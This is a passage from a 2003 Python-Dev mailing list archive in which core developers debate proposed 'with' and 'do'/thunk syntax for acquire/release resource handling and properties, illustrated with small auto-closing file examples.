autoclose(open('blah.txt','rb')): (myfile): for line in myfile: ... or myfile = open('blah.txt','rb') do autoclose(myfile): for line in myfile: ... > would be potential idioms. > > From bac@OCF.Berkeley.EDU Sun Feb 2 21:41:27 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 2 Feb 2003 13:41:27 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <061701c2cafb$2387ce60$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it> <05d101c2caf9$1eb15200$6d94fea9@newmexico> <061701c2cafb$2387ce60$6d94fea9@newmexico> Message-ID: [Samuele Pedroni] > From: "Samuele Pedroni" > > > > you're right, you would also get this idiom for iterators that support also > the > > 'with' protocol: > > > > with myfile = auto_closing_file('blah.txt', 'rb'): > > for line in myfile: > > ... > > > > With Guido's 'do', you could define an iterclose(): > > do iterclose(open('blah.txt','rb')): (line): > ... > Could we possibly flesh out both of these examples to what would amount to working code (including code that would manipulate what they create by searching for "Python" in each line) in a single email? I would like to make sure that I am comprehending how this will all work in the end. So if someone (read: Guido and Samuele =) could implement a file that auto-closes once the iterator on the file is exhausted with each suggestion I would *really* appreciate it. And if there could even be code given that used what these things returned by searching each returned line for the word "Python" would be great as well. That way we not only see how the new syntax would work, but we also see how code is going to interface with what the new code generates. -Brett From lists@morpheus.demon.co.uk Sun Feb 2 21:49:31 2003 From: lists@morpheus.demon.co.uk (Paul Moore) Date: Sun, 02 Feb 2003 21:49:31 +0000 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Guido van Rossum writes: > I'm now wondering if there aren't really only two interesting cases, > none of which require saving the thunk and calling it later: > > - synchronized-like, where the block should connect to its environment > > - property-like, where the block should introduce a new scope, and the > caller should be able to inspect or control that scope's namespace I certainly haven't seen any use cases other than these two. In fact, pretty much all of the cases I am aware of are synchronised-like, which I've been referring to as acquire/release. The only property-like cases I'm aware of are properties themselves. Personally, I don't have much problem with the current property approach, and the comments I've seen have been generally 50-50. I'd like to see some focused discussion on property syntax, but maybe it could be spun off onto a separate thread? > All cases where something is saved to be called later can be done > by using the extended 'def' syntax (def f(...) [something]: ...). This sounds interesting, but I can't quite see what you are saying. Do you have a real use case in mind? As far as the acquire/release case is concerned, I think that there is definitely a strong case for syntactic support for this. The equivalent idiom in C++ is "resource acquisition is initialisation" which, while not having syntax support, does rely on the existence of deterministic destructors, and on the ability to introduce a new scope at will. Python has neither of these, and the try...finally construct is verbose enough to make something better worth having. On the other hand, the simple "with" construct proposed by Samuele > with : > > > would be possibly sugar for: [...] > _x = > _x.__enter__() > try: > try: > > except getattr(_x,'__excepts__',()),_e: > _x.__except__(_e) > finally: > _x.__exit__() extended as suggested by Alex to allow __enter__ to be optional and to allow for an assignment in the with statement, seems to cover this excellently. (I'm not sure the exception handling needs to be quite that complex, but that's a minor point). Holger Kregel's suggestion is pretty much identical (although he allows for multiple objects in the same statement). > To satisfy a) i implemented the following execution hooks > (which all return None): > > class some_execution_handler: > > def __enter__(self): > """called before my indented block is executed """ > > def __except__(self, type, value, traceback): > """called if an exception occurs during execution""" > > def __leave__(self): > """called when execution is finished. > > this is called if there was no exception AND > if there was an exception but no __except__ hook > """ So, to offer a unified proposal, I'd suggest the following syntax: with [ var1 [, var2, ... ] = ] expr1 [, expr2 , ... ]: suite This is equivalent to var1, var2, ... = expr1, expr2, ... if hasattr(var1, "__enter__"): var1.__enter__() if hasattr(var2, "__enter__"): var2.__enter__() ... try: try: suite except: # Handwave here for now finally: ... var2.__exit__() var1.__exit__() In this, any varN can be omitted and a dummy hidden variable is used. The handwaving around the except clause needs to be clarified - what I want is to call varN.__except__() ... var1.__except__() allowing each in turn to catch the exception. If none of them do then the exception should be propogated. The problem is that I'm not sure what is the best way for an __except__ method to signal that it caught the exception. The __except__ attribute should be optional, as well. I can't see any reason why it would ever be useful for __exit__ to be optional, but for generality it might be worth allowing that as well. I like "with" as the keyword here. One obvious question - if we decide to go with syntax like this, would we be looking at "pre-reserving" the keyword in Python 2.3 somehow, so that it could become a full keyword in 2.4? Or would the new syntax need a future statement in Python 2.4, to become finalised in 2.5? Paul. PS Just to summarise things once more: as I see it, we now have a number of threads lurking: - The def f(arg) [...] syntax that started all this off - With blocks (which give us acquire/release) for which I propose a unified solution above - Properties, which don't have a specific solution proposed yet (AFAICT) - Thunks in various forms, most notably Guido's hyper-general version (the one that lets us implement switch) It's not at all clear to me that the thunk based solutions have killer use cases that they solve better than anything else (assuming that switch doesn't count :-)) but they may be aiming at the property case. If so, I'd appreciate a concrete "this is how we'd write a property" explanation, as I'm losing the plot on that... On the other hand, thunks seem too heavyweight to me if they don't offer some other major advantage as well as properties (I actually prefer with for the acquire/release case). I'll stop now before I feel a need to summarise the summary of my summary :-) -- This signature intentionally left blank From aleax@aleax.it Sun Feb 2 21:50:37 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 2 Feb 2003 22:50:37 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> Message-ID: <200302022250.37389.aleax@aleax.it> On Sunday 02 February 2003 10:41 pm, Brett Cannon wrote: ... > > > with myfile = auto_closing_file('blah.txt', 'rb'): > > > for line in myfile: ... > So if someone (read: Guido and Samuele =) could implement a file that > auto-closes once the iterator on the file is exhausted with each > suggestion I would *really* appreciate it. And if there could even be > code given that used what these things returned by searching each returned > line for the word "Python" would be great as well. That way we not only As I understood Samuele's "with" proposal (enhanced to allow assignment in the with, and to make __enter__ optional): class auto_closing_file(file): __exit__ = file.close with myfile = auto_closing_file('blah.txt'): for line in myfile: if line.find('Python')>=0: print line, If __enter__ were not optional, auto_closing_file would have to add one boilerplate line defining it: class auto_closing_file(file): __exit__ = file.close def __enter__(self): pass Actually, it would seem sensible, if we added this 'with', to extent built-in file by this tiny bit -- let it have __exit__ as a synonym of close (and if needed __enter__ as a no-operation method) so it can be used directly in what would then become a very common idiom: with myfile = open('blah.txt'): for line in myfile: if line.find('Python')>=0: print line, I don't understand the 'do' concepts well enough to code to them, as I have not followed this thread closely enough for this. Alex From aleax@aleax.it Sun Feb 2 22:01:32 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 2 Feb 2003 23:01:32 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302022301.32708.aleax@aleax.it> On Sunday 02 February 2003 10:49 pm, Paul Moore wrote: ... > which I've been referring to as acquire/release. The only > property-like cases I'm aware of are properties themselves. Wouldn't classmethods and staticmethods also be able to exploit (in a simpler way) the syntax/semantics used for properties? That's the impression I had. I do like your "unified proposal" for the "with" case (I have no idea if "with" is the pluperfectly right sugar for this, btw -- no biggie anyway, i think). > the exception should be propogated. The problem is that I'm not sure > what is the best way for an __except__ method to signal that it caught > the exception. Maybe the return value of __except__ should be evaluated in a boolean context encoding this? False -> exception not caught, True -> caught ... So, an __except__ without return statements (implicitly returning None, thus false) would be a clean-up thingy that does no catching (but e.g. just rollbacks some DB transactions or whatever), for example -- a "return True" would explicitly signal the exception was caught -- etc. Alex From bac@OCF.Berkeley.EDU Sun Feb 2 22:07:38 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 2 Feb 2003 14:07:38 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302022250.37389.aleax@aleax.it> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> Message-ID: [Alex Martelli] > On Sunday 02 February 2003 10:41 pm, Brett Cannon wrote: > ... > > So if someone (read: Guido and Samuele =) ... or Alex. =) > > could implement a file that auto-closes once the iterator on the file > > is exhausted with each suggestion I would *really* appreciate it. > > And if there could even be code given that used what these things > > returned by searching each returned line for the word "Python" would > > be great as well. That way we not only > > As I understood Samuele's "with" proposal (enhanced to allow assignment > in the with, and to make __enter__ optional): > > class auto_closing_file(file): > __exit__ = file.close > > with myfile = auto_closing_file('blah.txt'): > for line in myfile: > if line.find('Python')>=0: > print line, > > If __enter__ were not optional, auto_closing_file would have to add one > boilerplate line defining it: > > class auto_closing_file(file): > __exit__ = file.close > def __enter__(self): pass > > Actually, it would seem sensible, if we added this 'with', to extent built-in > file by this tiny bit -- let it have __exit__ as a synonym of close (and if > needed __enter__ as a no-operation method) so it can be used directly > in what would then become a very common idiom: > > with myfile = open('blah.txt'): > for line in myfile: > if line.find('Python')>=0: > print line, > Now if ``__exit__()`` would be executed regardless of exceptions this would probably eliminate a decent chunk of code that uses ``finally:`` such as:: FILE = file('blah.txt', 'rb') try: for line in FILE: if line.find('Python')>=0: print line, finally: FILE.close() Wouldn't this also allow one to code in a contract programming style ala Icon (assuming I remember correctly how contract programming works)? I mean you have control over the enter and exit of the thunk (would this still be called a thunk, or just syntactic sugar for calling ``__exit__()`` and ``__enter__()``; more like a thunk-ish protocol?) which is what I thought was the focus of contract programming. Either way this seems rather nice. And if you can pass in arguments (as I think ``FILE = file('blah.txt', 'rb'): (some_argument):`` is supposed to implement) this would be really nice. =) Now we just need the ``do`` syntax example. -Brett From pedronis@bluewin.ch Sun Feb 2 22:04:23 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 23:04:23 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> Message-ID: <079d01c2cb07$0bbde880$6d94fea9@newmexico> With Guido's 'do': [notice that count is rebindable in the thunk] class iterclose: def __init__(self,iterwclose): self.iter = iterwclose def __call__(self,thunk): try: for x in self.iter: thunk(x) finally: self.iter.close() count = 0 do iterclose(open('blah.txt')): (line): if line.find('Python') >=0: count += 1 print line, ---- class autoclose1: def __init__(self,file): self.file = file def __call__(self,thunk): try: thunk(self.file) finally: self.file.close() count = 0 do autoclose1(open('blah.txt')): (myfile): for line in myfile: if line.find('Python') >=0: count += 1 print line, ---- class autoclose2: def __init__(self,file): self.file = file def __call__(self,thunk): try: thunk() finally: self.file.close() count = 0 myfile = open('blah.txt') do autoclose2(open('blah.txt')): for line in myfile: if line.find('Python') >=0: count += 1 print line, From aleax@aleax.it Sun Feb 2 22:17:43 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 2 Feb 2003 23:17:43 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> Message-ID: <200302022317.43996.aleax@aleax.it> On Sunday 02 February 2003 11:07 pm, Brett Cannon wrote: ... > Now if ``__exit__()`` would be executed regardless of exceptions this > would probably eliminate a decent chunk of code that uses ``finally:`` Hmmm, yes, I _was_ sort of assuming that __exit__ runs much like 'finally' would -- otherwise cleanup/release code would more often than not have to be duplicated. > Either way this seems rather nice. And if you can pass in arguments (as I > think ``FILE = file('blah.txt', 'rb'): (some_argument):`` is supposed to > implement) this would be really nice. =) I think THAT is the complicated part of the "do" syntax -- that trailing "(whatever):" that I don't understand. What would its pluses be? Where would that 'whatever' be directed to...? Could you please provide a use case for with + "(some_argument):" ...? Alex From pedronis@bluewin.ch Sun Feb 2 22:14:41 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 23:14:41 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> Message-ID: <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico> From: "Brett Cannon" > > Wouldn't this also allow one to code in a contract programming style ala > Icon (assuming I remember correctly how contract programming works)? I > mean you have control over the enter and exit of the thunk (would this > still be called a thunk, or just syntactic sugar for calling > ``__exit__()`` and ``__enter__()``; more like a thunk-ish protocol?) which > is what I thought was the focus of contract programming. > > Either way this seems rather nice. And if you can pass in arguments (as I > think ``FILE = file('blah.txt', 'rb'): (some_argument):`` is supposed to > implement) this would be really nice. =) no there is no first-class thunk here, this is really just sugar for a try-finally. The point here is not to need first-class thunks! From bac@OCF.Berkeley.EDU Sun Feb 2 22:19:36 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 2 Feb 2003 14:19:36 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> Message-ID: [Brett Cannon] > ... (would this still be called a thunk, or just syntactic sugar for > calling ``__exit__()`` and ``__enter__()``; more like a thunk-ish > protocol?)... Nevermind on this question. Paul's email referring to this as "acquire/release" clarified it. Sounds like you are almost fishing in a catch/release stream. That's it! This is the "fishy" protocol (OK, corny joke, but I just had to make it =)! -Brett From aleax@aleax.it Sun Feb 2 22:22:51 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 2 Feb 2003 23:22:51 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <079d01c2cb07$0bbde880$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> <079d01c2cb07$0bbde880$6d94fea9@newmexico> Message-ID: <200302022322.51511.aleax@aleax.it> On Sunday 02 February 2003 11:04 pm, Samuele Pedroni wrote: > With Guido's 'do': [notice that count is rebindable in the thunk] > > class iterclose: > def __init__(self,iterwclose): > self.iter = iterwclose > > def __call__(self,thunk): > try: > for x in self.iter: > thunk(x) > finally: > self.iter.close() > > count = 0 > do iterclose(open('blah.txt')): (line): > if line.find('Python') >=0: > count += 1 > print line, OK -- I *don't* get that " (line):" part, and how calling thunk() in iterclose.__init__ binds/rebinds the local (?) variable line of the thunk. Looks like black magic to me. Guess I must just be a bit thick tonight -- sorry. > class autoclose2: > def __init__(self,file): > self.file = file > > def __call__(self,thunk): > try: > thunk() > finally: > self.file.close() > > count = 0 > myfile = open('blah.txt') > do autoclose2(open('blah.txt')): > for line in myfile: > if line.find('Python') >=0: > count += 1 > print line, shouldn't that be "do autoclose2(myfile):" ? or is there some even-blacker magic in this "do" business that I don't get...? Alex From pedronis@bluewin.ch Sun Feb 2 22:25:45 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 23:25:45 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> <079d01c2cb07$0bbde880$6d94fea9@newmexico> <200302022322.51511.aleax@aleax.it> Message-ID: <080301c2cb0a$07b04820$6d94fea9@newmexico> From: "Alex Martelli" > On Sunday 02 February 2003 11:04 pm, Samuele Pedroni wrote: > > With Guido's 'do': [notice that count is rebindable in the thunk] > > > > class iterclose: > > def __init__(self,iterwclose): > > self.iter = iterwclose > > > > def __call__(self,thunk): > > try: > > for x in self.iter: > > thunk(x) > > finally: > > self.iter.close() > > > > count = 0 > > do iterclose(open('blah.txt')): (line): > > if line.find('Python') >=0: > > count += 1 > > print line, > > OK -- I *don't* get that " (line):" part, and how calling thunk() in > iterclose.__init__ binds/rebinds the local (?) variable line of the thunk. > Looks like black magic to me. Guess I must just be a bit thick > tonight -- sorry. a thunk is like a Smalltalk block, a closure that can rebind the locals and can get arguments ( (line): above) ), and maybe non-local returns ( ^ in Smalltalk): in pseudo-python the above is: count = 0 defClosureAllowingRebinding _thunk(line): if line.find('Python') >=0: count += 1 print line, iterclose(open('blah.txt'))(_thunk) > > class autoclose2: > > def __init__(self,file): > > self.file = file > > > > def __call__(self,thunk): > > try: > > thunk() > > finally: > > self.file.close() > > > > count = 0 > > myfile = open('blah.txt') > > do autoclose2(open('blah.txt')): > > for line in myfile: > > if line.find('Python') >=0: > > count += 1 > > print line, > > shouldn't that be "do autoclose2(myfile):" ? or is there some > even-blacker magic in this "do" business that I don't get...? > yes, you're right. From bac@OCF.Berkeley.EDU Sun Feb 2 22:32:41 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 2 Feb 2003 14:32:41 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302022322.51511.aleax@aleax.it> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> <079d01c2cb07$0bbde880$6d94fea9@newmexico> <200302022322.51511.aleax@aleax.it> Message-ID: [Alex Martelli] > On Sunday 02 February 2003 11:04 pm, Samuele Pedroni wrote: > > With Guido's 'do': [notice that count is rebindable in the thunk] > > > > class iterclose: > > def __init__(self,iterwclose): > > self.iter = iterwclose > > > > def __call__(self,thunk): > > try: > > for x in self.iter: > > thunk(x) > > finally: > > self.iter.close() > > > > count = 0 > > do iterclose(open('blah.txt')): (line): > > if line.find('Python') >=0: > > count += 1 > > print line, > > OK -- I *don't* get that " (line):" part, and how calling thunk() in > iterclose.__init__ binds/rebinds the local (?) variable line of the thunk. > Looks like black magic to me. Guess I must just be a bit thick > tonight -- sorry. > After staring at this for a minute I figured out what ``(line):`` does. So what you have to realize is that the block (from ``if line...`` to ``print line,`` is passed into ``__call__()`` and bound to ``thunk()``. Now the object bound to ``thunk`` accepts a single argument, named ``line`` in ``thunk``. In ``__call__()`` the variable ``x`` is what is being passed into the thunk code and being bound to ``line``. Phew. =) So, to make sure I am not confuing myself, ``do`` does the following: Instantiates ``iterclose(open('blah.txt'))``. Compiles the block of code that makes up the thunk. It ends up accepting a single argument which bound to ``line``. Calls ``iterclose().__call__()`` and executes it. We all let our heads stop spinning from all that and have a good, stiff drink. =) -Brett From greg@cosc.canterbury.ac.nz Sun Feb 2 22:37:44 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 03 Feb 2003 11:37:44 +1300 (NZDT) Subject: [Python-Dev] Property syntax (Re: [Python-Dev] Extended Function syntax) In-Reply-To: <20030131120720.B10804@prim.han.de> Message-ID: <200302022237.h12MbiN22545@oma.cosc.canterbury.ac.nz> > What would you think of 'is' then? > > def name(...) is classmethod: Doesn't read nearly as well to my ears. "Define foo as property" is a grammatical and meaningful English sentence, whereas "Define foo is property" isn't. Simply "foo is property" would be better, but unfortunately it already has a meaning. Hmmm... maybe whereas foo is property: ... :-? Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From just@letterror.com Sun Feb 2 22:56:52 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 2 Feb 2003 23:56:52 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <080301c2cb0a$07b04820$6d94fea9@newmexico> Message-ID: Samuele Pedroni wrote: > a thunk is like a Smalltalk block, a closure that can rebind the > locals and can get arguments ( (line): above) ), and maybe non-local > returns ( ^ in Smalltalk): in pseudo-python the above is: > > count = 0 > defClosureAllowingRebinding _thunk(line): > if line.find('Python') >=0: > count += 1 > print line, > > iterclose(open('blah.txt'))(_thunk) If _rebinding_ is what we're after, then why not go all the way an introduce a rebind operator? Say ':='. Augmented assignment would also become rebinding then (hm, I hear the sound of code breaking in the distance ;-) Add that to MWH's function/class filter patch and you can write: count = 0 def _thunk(line) [iterclose(open('blah.txt'))]: if line.find('Python') >=0: count += 1 # or count := count + 1 print line, Not nice that _thunk needs to be named, but perhaps the function name can become optional: count = 0 def (line) [iterclose(open('blah.txt'))]: if line.find('Python') >=0: count += 1 print line, How's that for a change of direction? ;-) I'm just throwing in an idea, I'm not saying I like this (I don't know yet). Just From pedronis@bluewin.ch Sun Feb 2 23:29:20 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 00:29:20 +0100 Subject: [Python-Dev] Extended Function syntax References: <072701c2cb03$075ef800$6d94fea9@newmexico> Message-ID: <091301c2cb12$e9e8e780$6d94fea9@newmexico> [me] > From: "Samuele Pedroni" > > > but it seems it would be harder for newbies to learn and use). > > > > to be fair I don't think that Guido suggested to add a iterclose builtin to > the > > language, OTOH nobody would be stopped to write and use it in its code, > > basically short of community style guides and pressure both: > > > > do iterclose(open('blah.txt','rb')): (line): > > ... > > > > do myfile = autoclose(open('blah.txt','rb')): > > for line in myfile: > > ... > > this one is wrong, it would have to be (assumed the current proposals): > > do autoclose(open('blah.txt','rb')): (myfile): > for line in myfile: > ... > I think that the fact that the above is wrong and the latter is right, is very symptomatic of the fact that the '=' in do lval = expr: suite is rather ambiguous. From oren-py-d@hishome.net Sun Feb 2 23:34:52 2003 From: oren-py-d@hishome.net (Oren Tirosh) Date: Mon, 3 Feb 2003 01:34:52 +0200 Subject: [Python-Dev] Property syntax In-Reply-To: <200302021917.h12JHMA14683@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sun, Feb 02, 2003 at 02:17:22PM -0500 References: <200301311628.h0VGSps08054@odiug.zope.com> <20030131165507.GA17116@panix.com> <200301311821.h0VIL3M10010@odiug.zope.com> <20030202175434.GA13189@hishome.net> <200302021917.h12JHMA14683@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030203013452.A31174@hishome.net> On Sun, Feb 02, 2003 at 02:17:22PM -0500, Guido van Rossum wrote: > Um, I thought this was going on on python-dev? This is way too raw > for c.l.py. Oops. I added CC manually and typed python-list instead of python-dev. > Given that the syntax for a class's bases and for a function's > arguments are completely different and incompatible, I'm not sure how > you can ever come up with a construct that unifies them. Dunno. Let's try. def F(): suite <=> def F as function: suite <=> F = function(CODE, globals(), 'F') class C(X, Y): suite <=> def C as type: __bases__ = X, Y suite <=> C = type(CODE, globals(), 'C') # where CODE assigns to __bases__ def F(arg=defaultvalue): suite <=> #def F as function: # no suite can create a code object with co_argcount != 0 # It can't return or yield either. Only def with parens can # create a code object with these features. <=> F = function(CODE, globals(), 'F', (defaultvalue,)) def static() as staticmethod: <=> def static as function, staticmethod: <=> static = staticmethod(function(CODE, globals(), 'F')) def foo as property: def __get__(self): ... def __set__(self): <=> foo = property(CODE, globals(), 'foo') # execs CODE in a dict, reads __get__, __set__, __del__ items from it > And where did pypy-dev come from? I thought that the > point of pypy-dev was not to invent new language constructs? Looking this way at the creation of function object and class objects may help in implementing them in pure Python. There is no need for a dedicated bytecode - 'def' and 'class' are just a different way to write the constructor calls above. Oren From greg@cosc.canterbury.ac.nz Sun Feb 2 23:55:29 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 03 Feb 2003 12:55:29 +1300 (NZDT) Subject: question??? [Python-Dev] Property syntax In-Reply-To: <200301311845.h0VIjLj10172@odiug.zope.com> Message-ID: <200302022355.h12NtTG22969@oma.cosc.canterbury.ac.nz> Guido: > I happen to like generalized thunks because they remind me of Ruby > blocks. But I realize there are more ways to skin this cat. Seems to me it's more a case of there being several different animals we're considering skinning, and we're trying to find one tool to skin them all, and in the darkness find them... oops, sorry, mixing a metaphor with an allusion... Anyway, I think I agree with the comment made earlier that maybe we're trying to unify too many things. All of these things seem like they would benefit from some kind of code-block mechanism, but have differing namespace requirements. Let's see if I can categorise them: * Defining a function: The code block executes in a new optimised local namespace. The local namespace is discarded when the block returns. * Defining a class: The code block executes with a new dictionary as its local namespace. The local namespace is retained when the block returns. * Defining a property: Same as defining a class. * New control structures: The code block does not have a local namespace of its own, but shares one with the surrounding code. So there appear to be at least two, and possibly three, different ways that the code block will need to be compiled, depending on its intended usage. Therefore, the intended usage will have to be made known somehow at compile time. David Goodger's solution to this is to have the compiler treat each "as xxx" as a special case. I can understand Gudio wanting something more general than this. But it looks to me at the moment like we're going to need about three different syntaxes, one for each of the above code block usages. (1) We already have one for defining a function: def foo(args): ... We just have to be clear that this is *not* equivalent to any instance of (2) below, because the thunk usage is different. (2) Class-definition-like usages: def foo as something: ... Defining a class could be a special case of this, e.g. def myclass as type: ... I can understand Guido's reluctance to re-use "def" for this, given that (1) is not a special case of it. But I haven't thought of anything better yet. The best I've come up with so far is namespace foo(something): ... with "namespace" being a new keyword. For example, a property would be defined with namespace foo(property): ... But I don't like it much myself for various reasons: it's too verbose, and it wouldn't really sound right calling a property a namespace (it's not, the namespace would only be an implementation detail of the mechanism of it's creation). (3) Control-structure-like usages: expression: ... var = expression: ... Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From pedronis@bluewin.ch Mon Feb 3 00:00:24 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 01:00:24 +0100 Subject: [Python-Dev] Property syntax References: <200301311628.h0VGSps08054@odiug.zope.com> <20030131165507.GA17116@panix.com> <200301311821.h0VIL3M10010@odiug.zope.com> <20030202175434.GA13189@hishome.net> <200302021917.h12JHMA14683@pcp02138704pcs.reston01.va.comcast.net> <20030203013452.A31174@hishome.net> Message-ID: <004101c2cb17$40a5f6e0$6d94fea9@newmexico> From: "Oren Tirosh" > > def F(): > suite > <=> > def F as function: > suite > <=> > F = function(CODE, globals(), 'F') > function construction may need a set of cells to implement nested scopes. From greg@cosc.canterbury.ac.nz Mon Feb 3 00:56:13 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 03 Feb 2003 13:56:13 +1300 (NZDT) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <061701c2cafb$2387ce60$6d94fea9@newmexico> Message-ID: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> Samuele Pedroni : > with myfile = auto_closing_file('blah.txt', 'rb'): > for line in myfile: > ... > > With Guido's 'do', you could define an iterclose(): > > do iterclose(open('blah.txt','rb')): (line): > ... > > Btw, the two snippets illustrate quite well the different evolutive directions' > on the table. I must say that, for this particular usage at least, I find the first one a darn sight easier to follow than the second! Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From guido@python.org Mon Feb 3 02:02:52 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 02 Feb 2003 21:02:52 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Mon, 03 Feb 2003 13:56:13 +1300." <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> References: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> Message-ID: <200302030202.h1322qg15913@pcp02138704pcs.reston01.va.comcast.net> > > with myfile = auto_closing_file('blah.txt', 'rb'): > > for line in myfile: > > ... > > > > With Guido's 'do', you could define an iterclose(): > > > > do iterclose(open('blah.txt','rb')): (line): > > ... > > > > Btw, the two snippets illustrate quite well the different > > evolutive directions' on the table. > > I must say that, for this particular usage at least, I find > the first one a darn sight easier to follow than the second! I think 'do' is being misrepresented, and I also doubt that this is a very practical example. But I may have to wait until the next weekend before I can continue in this thread -- I can't work on this on workdays. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Mon Feb 3 02:48:45 2003 From: tim.one@comcast.net (Tim Peters) Date: Sun, 02 Feb 2003 21:48:45 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido] > ... > I think that for synchronized-like cases, even if it is known at > compile time that it is to be part of the surrounding scope, the code > generated will still need to use nested-scope-cells, since it will be > invoked on a different stack frame: the "thunk processor" pushes its > own frame on the stack, and I think you can't have something that > executes in a frame that's not the topmost frame. (Or can you? I > don't know exactly what generators can get away with.) "resumable function" captures almost all salient aspects of the Python generator implementation. Generator resumption acts like a method call to the resumer (generator_iterator.next(), whether explicit or implicit), and yielding acts *almost* like a function return to the generator (the generator's stack frame is popped just as for a function return; the primary difference is just that the frame's refcount isn't decremented). In short, the implementation is a way to get the same frame on the top of the stack more than once; there's nothing there now to support execution in a non-top frame. If such were added, the biggest mystery would be what to do when a non-top frame tries to exit. From tim.one@comcast.net Mon Feb 3 03:42:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Sun, 02 Feb 2003 22:42:20 -0500 Subject: [Python-Dev] PEP 42: sizeof(obj) builtin In-Reply-To: <015901c2c924$91ec8e00$6d94fea9@newmexico> Message-ID: [Samuele Pedroni, on sizeof()] > it is very unlikely that we can implement this in Jython, I'm sure that you could, but no better than CPython: return a lower bound that may or may not be within a factor of 1000 of reality. CPython could do C sizeof() on 